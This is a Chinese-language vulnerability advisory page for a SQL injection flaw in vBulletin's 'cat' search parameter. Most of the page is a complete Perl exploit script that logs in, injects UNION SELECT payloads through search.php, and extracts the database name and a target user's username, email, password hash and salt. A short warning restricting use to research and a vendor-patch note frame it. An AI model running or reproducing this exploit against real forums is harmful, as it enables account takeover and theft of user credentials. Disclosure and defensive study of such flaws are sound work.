首页 -> 安全研究
安全研究
安全漏洞
vBulletin 'cat'参数SQL注入漏洞
发布日期：2014-09-03
更新日期：2014-09-04
受影响系统：
VBulletin VBulletin描述：
BUGTRAQ ID: 69572
VBulletin是一个强大灵活并可完全根据自己的需要定制的论坛程序套件。
vBulletin在cat参数的实现上存在SQL注入漏洞，成功利用后可使攻击者执行未授权数据库操作。
<*来源：D35m0nd142
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
use LWP::UserAgent;
use HTTP::Cookies;
$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
$ua->cookie_jar({});
$username = "username) from user where userid=$ARGV[4]#";
$email = "email) from user where userid=$ARGV[4]#";
$password = "password) from user where userid=$ARGV[4]#";
$salt = "salt) from user where userid=$ARGV[4]#";
@tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);
sub request
{
my $token = dumping("vbloginout.txt","token");
if($token eq '')
{
print "SECURITYTOKEN not found (Make sure to log out from any other previous logged sessions before running the exploit).\n";
#print "Attempting using 1409594055-f2133dfe1f26a36f6349eb3a946ac38c94a182e6 as token.\n";
$token = "1409750140-51ac26286027a4bc2b2ac38a7483081c2a4b2a3e"; # HERE
print "Attempting using $token as token.\n";
}
else
{
print "SECURITYTOKEN FOUND: $token\n";
}
print "Sending exploit...\n\n";
sleep(1);
my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php?search_type=1');
$req->content_type('application/x-www-form-urlencoded');
foreach $tofind (@tofinds)
{
$post = "query=$ARGV[3]&titleonly=0&dosearch=Search+Now&memberless=0&memberlimit=&discussionless=0&discussionlimit=&messageless=0&messagelimit=&pictureless=0&picturelimit=&sortby=dateline&order=descending&group_filter_date_lteq_month=0&group_filter_date_lteq_day=1&group_filter_date_lteq_year=&group_filter_date_gteq_month=0&group_filter_date_gteq_day=1&group_filter_date_gteq_year=&saveprefs=1&s=&securitytoken=$token&dofilter=1&do=process&searchfromtype=vBForum%3ASocialGroup&contenttypeid=7&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
$req->content($post);
my $res = $ua->request($req);
#print $res->headers()->as_string; print "\n\n";
open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
my $location = dumping("vbloc.txt","loc");
if($location !~ /$ARGV[0]/)
{
banner();
break;
}
#print "Location: $location\n";
my $req1 = HTTP::Request->new(GET => $location);
$req1->content_type('application/x-www-form-urlencoded');
my $res1 = $ua->request($req1);
#print $res1->content; print "\n";
open(FILE,"> vbout.txt");
print FILE $res1->content;
close(FILE);
printout($tofind);
dumping("vbout.txt","sql");
print "\n";
}
print "\n";
print "Do you want to run the second exploitation way? (y/n) -> ";
$want = <STDIN>;
if($want =~ /y/)
{
second_request($token);
}
}
sub second_request
{
my ($token) = @_ ;
print "Attempting using the second exploitation way..\n\n";
sleep(2);
my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php');
$req->content_type('application/x-www-form-urlencoded');
foreach $tofind (@tofinds)
{
$post = "type%5B%5D=7&query=$ARGV[3]&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
$req->content($post);
my $res = $ua->request($req);
#print $res->headers()->as_string; print "\n\n";
open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
my $location = dumping("vbloc.txt","loc");
if($location !~ /$ARGV[0]/)
{
banner();
exit(1);
}
#print "Location: $location\n";
my $req1 = HTTP::Request->new(GET => $location);
$req1->content_type('application/x-www-form-urlencoded');
my $res1 = $ua->request($req1);
#print $res1->content; print "\n";
open(FILE,"> vbout.txt");
print FILE $res1->content;
close(FILE);
printout($tofind);
dumping("vbout.txt","sql");
print "\n";
}
print "\n";
}
sub banner
{
print "[-] Exploit not successful!\n";
if(token eq "1409563107-55b86c8f60ad36a41dedff21b06bdc8c9d949303")
{
print "[i] Try to log in and log out from other any other sessions and run the exploit again.\n\n";
}
}
sub printout
{
my ($tofind) = @_ ;
if($tofind =~ /username/)
{
print "[+] User($ARGV[4]) Username: ";
}
elsif($tofind =~ /password/)
{
print "[+] User($ARGV[4]) Password: ";
}
elsif($tofind =~ /database/)
{
print "[+] Database Name: ";
}
elsif($tofind =~ /email/)
{
print "[+] User($ARGV[4]) Email: ";
}
elsif($tofind =~ /salt/)
{
print "[+] User($ARGV[4]) Salt: ";
}
}
sub dumping
{
my ($filename, $par) = @_ ;
open(MYFILE,"< ", $filename);
my @words;
while(<MYFILE>)
{
chomp;
@words = split(' ');
if($par eq "token")
{
my $ctrl = "n";
foreach my $word (@words)
{
if($word =~ /SECURITYTOKEN/)
{
$ctrl = "y";
}
if($ctrl eq "y" and $word !~ /=/ and $word !~ /SECURITYTOKEN/)
{
$word =~ tr/;//d; $word =~ tr/\"//d;
return $word;
break;
}
}
}
elsif($par eq "sql")
{
foreach my $word (@words)
{
if($word =~ /:::/)
{
$word =~ tr/::://d;
print "$word";
}
}
}
else
{
my $ctrl2 = "n";
foreach my $word (@words)
{
if($word =~ /Location:/)
{
$ctrl2 = "y";
}
if($ctrl2 eq "y" and $word !~ /Location:/)
{
return $word;
}
}
}
}
close(MYFILE);
}
sub login(@)
{
my $username = shift;
my $password = shift;
print "\nLogging in...\n";
sleep(1);
my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
$req->content_type('application/x-www-form-urlencoded');
$req->content("vb_login_username=$username&vb_login_password=$password&s=&securitytoken=1409514185-74f04ec0932a6f070268bf287797b5dc0db05530&do=login&vb_login_md5password=&vb_login_md5password_utf=");
$ua->cookie_jar({});
my $res = $ua->request($req);
#print "\n"; print $res->content; print "\n";
open(FILE2,"> vbloginout.txt"); print FILE2 $res->content; close(FILE2);
request();
}
if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV[4] eq '')
{
print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
print "Author: D35m0nd142\n\n";
print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent group> <userid to hack>\n";
print "Example: perl exploit.pl http://www.example.com myusername mypassword Administrators 1\n\n";
exit(1);
}
print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
print "Author: D35m0nd142\n";
sleep(1);
login($ARGV[1],$ARGV[2]);
@files = ('vbloginout.txt','vbout.txt','vbloc.txt');
foreach $file (@files)
{
unlink $file;
}
建议：
厂商补丁：
VBulletin
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.vbulletin.com/
浏览次数：2679
严重程度：0（网友投票）
绿盟科技给您安全的保障